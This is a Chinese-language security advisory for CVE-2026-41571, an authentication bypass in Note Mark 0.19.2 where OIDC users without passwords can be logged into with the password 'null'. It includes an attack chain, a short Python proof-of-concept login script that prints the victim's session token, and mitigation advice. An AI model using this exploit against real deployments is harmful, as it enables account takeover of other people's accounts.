IPBUF安全漏洞报告
English
CVE-2026-41571 CVSS 9.4 严重

CVE-2026-41571 Note Mark认证绕过漏洞

披露日期: 2026-05-04

漏洞信息

漏洞编号
CVE-2026-41571
漏洞类型
认证绕过
CVSS评分
9.4 严重
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Note Mark

相关标签

认证绕过Note Mark逻辑漏洞OIDC硬编码密码

漏洞概述

Note Mark是一款开源笔记应用。在0.19.2版本中,由于`backend/db/models.go`文件的`IsPasswordMatch`函数存在逻辑缺陷,当用户没有存储密码时(如OIDC注册用户),系统会回退到硬编码的`bcrypt("null")`占位符进行比对。攻击者无需用户交互,只需提交密码为"null"即可绕过认证,获取任何OIDC用户的会话权限,导致账户被完全接管。该漏洞风险极高。

技术细节

该漏洞源于Note Mark后端身份验证逻辑中的严重设计缺陷。在受影响的版本中,`backend/db/models.go`文件定义的`IsPasswordMatch`函数负责验证用户密码。该函数包含一段回退逻辑:如果数据库中用户的密码字段为空,代码不会拒绝登录或提示错误,而是将用户输入的密码与一个硬编码的`bcrypt("null")`哈希值进行比对。

具体利用场景中,通过OIDC(OpenID Connect)方式注册的用户在系统中默认不设置密码,其数据库记录中的密码字段为空。攻击者发现这一机制后,针对任意OIDC用户账号,只需在登录接口的请求中将密码参数设置为字符串"null"。服务器接收到请求后,检测到该用户无存储密码,随即触发回退逻辑,将输入的"null"进行bcrypt哈希运算,并与内部的硬编码哈希值匹配。由于两者一致,服务器误认为验证通过,从而返回有效的会话令牌,实现未授权访问。

攻击链分析

STEP 1
侦察
攻击者识别目标系统为Note Mark应用,并确定存在通过OIDC注册的用户账号。
STEP 2
利用
攻击者向内部登录端点发送POST请求,在请求体中指定OIDC用户名并将密码字段设置为字符串"null"。
STEP 3
权限获取
服务器验证逻辑缺陷导致认证通过,返回有效会话令牌,攻击者成功接管用户账户。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Target URL for the internal login endpoint target_url = "http://target-note-mark-url/api/login" # Payload data # OIDC users have empty passwords, but the app compares input against bcrypt("null") payload = { "username": "victim_oidc_user", # Username of the OIDC registered user "password": "null" # Hardcoded fallback password } # Send POST request response = requests.post(target_url, json=payload) # Check if login was successful (HTTP 200 OK and session token) if response.status_code == 200 and "session" in response.json(): print("[+] Exploit successful! Account bypassed.") print(f"[+] Session token: {response.json().get('session')}") else: print("[-] Exploit failed.")

影响范围

Note Mark 0.19.2

防御指南

临时缓解措施
建议管理员立即升级到修复版本。如果暂时无法升级,应禁用OIDC注册功能或通过防火墙规则限制对内部登录接口的访问,仅允许可信IP调用,以防止攻击者利用该硬编码密码进行登录。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表